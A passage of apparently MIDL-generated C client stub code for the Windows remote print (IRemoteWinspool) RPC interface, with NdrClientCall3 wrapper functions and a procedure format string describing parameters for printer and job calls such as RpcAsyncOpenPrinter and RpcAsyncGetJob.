)&IRemoteWinspool_ProxyInfo,\n                  72,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pszName);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncEnumJobNamedProperties( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [out] */ DWORD *pcProperties,\n    /* [size_is][size_is][out] */ RPC_PrintNamedProperty **ppProperties)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  73,\n                  0,\n                  hPrinter,\n                  JobId,\n                  pcProperties,\n                  ppProperties);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\nDWORD RpcAsyncLogJobInfoForBranchOffice( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [ref][in] */ RPC_BranchOfficeJobDataContainer *pBranchOfficeJobDataContainer)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&IRemoteWinspool_ProxyInfo,\n                  74,\n                  0,\n                  hPrinter,\n                  pBranchOfficeJobDataContainer);\n    return ( DWORD  )_RetVal.Simple;\n    \n}\n\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const ms2Dpar_MIDL_PROC_FORMAT_STRING ms2Dpar__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure RpcAsyncOpenPrinter */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 10 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 14 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 16 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 18 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 20 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 22 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pPrinterName */\n\n/* 30 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 32 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 34 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pHandle */\n\n/* 36 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 38 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 40 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Parameter pDatatype */\n\n/* 42 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 44 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 46 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 48 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 50 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 52 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter AccessRequired */\n\n/* 54 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 56 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 58 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pClientInfo */\n\n/* 60 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 62 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 64 */\tNdrFcShort( 0xb6 ),\t/* Type Offset=182 */\n\n\t/* Return value */\n\n/* 66 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 68 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 70 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPrinter */\n\n/* 72 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 74 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 78 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 80 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 82 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 84 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 86 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 88 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 90 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 92 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 94 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 96 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 98 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 102 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 104 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 106 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 108 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 110 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 112 */\tNdrFcShort( 0x2f6 ),\t/* Type Offset=758 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 114 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 116 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 118 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 120 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 122 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 124 */\tNdrFcShort( 0x30a ),\t/* Type Offset=778 */\n\n\t/* Parameter pClientInfo */\n\n/* 126 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 128 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 130 */\tNdrFcShort( 0xb6 ),\t/* Type Offset=182 */\n\n\t/* Parameter pHandle */\n\n/* 132 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 134 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 136 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Return value */\n\n/* 138 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 140 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 142 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetJob */\n\n/* 144 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 146 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 150 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 152 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 154 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 156 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 158 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 160 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 162 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 164 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 166 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 168 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 170 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 172 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 174 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 176 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 178 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 180 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 182 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 184 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJobContainer */\n\n/* 188 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 190 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 192 */\tNdrFcShort( 0x31e ),\t/* Type Offset=798 */\n\n\t/* Parameter Command */\n\n/* 194 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 196 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 198 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 200 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 202 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 204 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetJob */\n\n/* 206 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 208 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 212 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 214 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 216 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 218 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 220 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 222 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 224 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 226 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 228 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 230 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 232 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 234 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 236 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 238 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 240 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 242 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 244 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 246 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 250 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 252 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 254 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJob */\n\n/* 256 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 258 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 260 */\tNdrFcShort( 0x45c ),\t/* Type Offset=1116 */\n\n\t/* Parameter cbBuf */\n\n/* 262 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 264 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 266 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 268 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 270 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 272 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 274 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 276 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 278 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumJobs */\n\n/* 280 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 282 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 286 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 288 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 290 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 292 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 294 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 296 */\tNdrFcShort( 0x44 ),\t/* 68 */\n/* 298 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 300 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x9,\t\t/* 9 */\n/* 302 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 304 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 306 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 312 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 314 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 316 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter FirstJob */\n\n/* 318 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 320 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 322 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NoJobs */\n\n/* 324 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 326 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 330 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 332 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pJob */\n\n/* 336 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 338 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 340 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 342 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 344 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 346 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 348 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 350 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 352 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 354 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 356 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 358 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 360 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 362 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 364 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddJob */\n\n/* 366 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 372 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 374 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 376 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 378 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 380 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 382 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 384 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 386 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 388 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 390 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 392 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 398 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 400 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 402 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter Level */\n\n/* 404 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 406 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 408 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pAddJob */\n\n/* 410 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 412 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 414 */\tNdrFcShort( 0x494 ),\t/* Type Offset=1172 */\n\n\t/* Parameter cbBuf */\n\n/* 416 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 418 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 420 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 422 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 424 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 428 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 430 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 432 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncScheduleJob */\n\n/* 434 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 436 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 440 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 442 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 444 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 446 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 448 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 450 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 452 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 454 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 456 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 460 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 466 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 468 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 470 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter JobId */\n\n/* 472 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 474 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 476 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 478 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 480 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 482 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrinter */\n\n/* 484 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 486 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 490 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 492 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 494 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 496 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 498 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 500 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 502 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 504 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 506 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 508 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 514 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 516 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 518 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 520 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Return value */\n\n/* 522 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 524 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 526 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncSetPrinter */\n\n/* 528 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 530 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 534 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 536 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 538 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 540 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 542 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 544 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 546 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 548 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 550 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 552 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 554 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 558 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 560 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 562 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 564 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 566 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 568 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 570 */\tNdrFcShort( 0x2f6 ),\t/* Type Offset=758 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 572 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 574 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 576 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 578 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 580 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 582 */\tNdrFcShort( 0x30a ),\t/* Type Offset=778 */\n\n\t/* Parameter Command */\n\n/* 584 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 586 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 590 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 592 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 594 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetPrinter */\n\n/* 596 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 598 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 602 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 604 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 606 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 608 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 610 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 612 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 614 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 616 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, 